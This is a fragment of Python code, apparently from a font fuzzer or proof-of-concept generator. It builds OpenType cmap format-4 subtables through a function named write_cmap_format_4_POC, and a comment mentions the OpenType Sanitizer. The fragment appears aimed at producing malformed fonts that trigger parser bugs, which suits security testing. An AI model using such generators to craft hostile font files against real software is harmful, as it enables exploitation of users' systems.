endCodes = struct.pack(fmt_, *endCodes)
padding = struct.pack('>H', 0)
startCodes = struct.pack(fmt_, *startCodes)
idDeltas = struct.pack(fmt_2_, *idDeltas)
idRangeOffset = b"\x00\x00" * size_codes
glyphIdArray = b""
#
subtable_body = endCodes + padding + startCodes + idDeltas + idRangeOffset + glyphIdArray
#
return subtable_header + subtable_body
cmap_func_table = {
#0 : write_cmap_format_0,
#2 : write_cmap_format_2,
#4 : write_cmap_format_4,
4 : write_cmap_format_4_POC,
#6 : write_cmap_format_6,
}
#
cmap_func_table_keys = list(cmap_func_table.keys())
cc = 0
while cc < num_subtables:
sub_platform_id = random.choice(platform_ids)
sub_encoding_id = random.choice(encoding_ids[sub_platform_id])
# Create subtable format and data
cmap_formats = list(set(formats_sup[sub_platform_id][sub_encoding_id]).intersection(set(cmap_func_table_keys)))
if not cmap_formats:
# retry
continue
cmap_format_now = random.choice(cmap_formats)
# insert at least one table platform 0, encoding 3, format 4
# otherwise ots:serialize fails
if cc == 0:
sub_platform_id = 0
sub_encoding_id = 3
cmap_format_now = 4
# hack
sub_platform_id = 0
sub_encoding_id = 3
cmap_format_now = 4
# Calculate subtable length and offset
#subtable_length = random.randint(16, 256) # Random length
subtable_offset = len(subtable_data) + num_subtables * 8 + 4 # Offset calculation
# Add subtable entry
subtable_entries.append((sub_platform_id, sub_encoding_id, subtable_offset))
cmap_func = cmap_func_table[cmap_format_now]
subtable_data += cmap_func()
cc += 1
# Add subtable entries to cmap_data
for platform_id, encoding_id, offset in subtable_entries:
cmap_data += struct.pack('>HHI', platform_id, encoding_id, offset)
# Add subtable data
cmap_data += subtable_data
return [b'cmap', cmap_data]
def write_name_table():
# TODO:
# - improve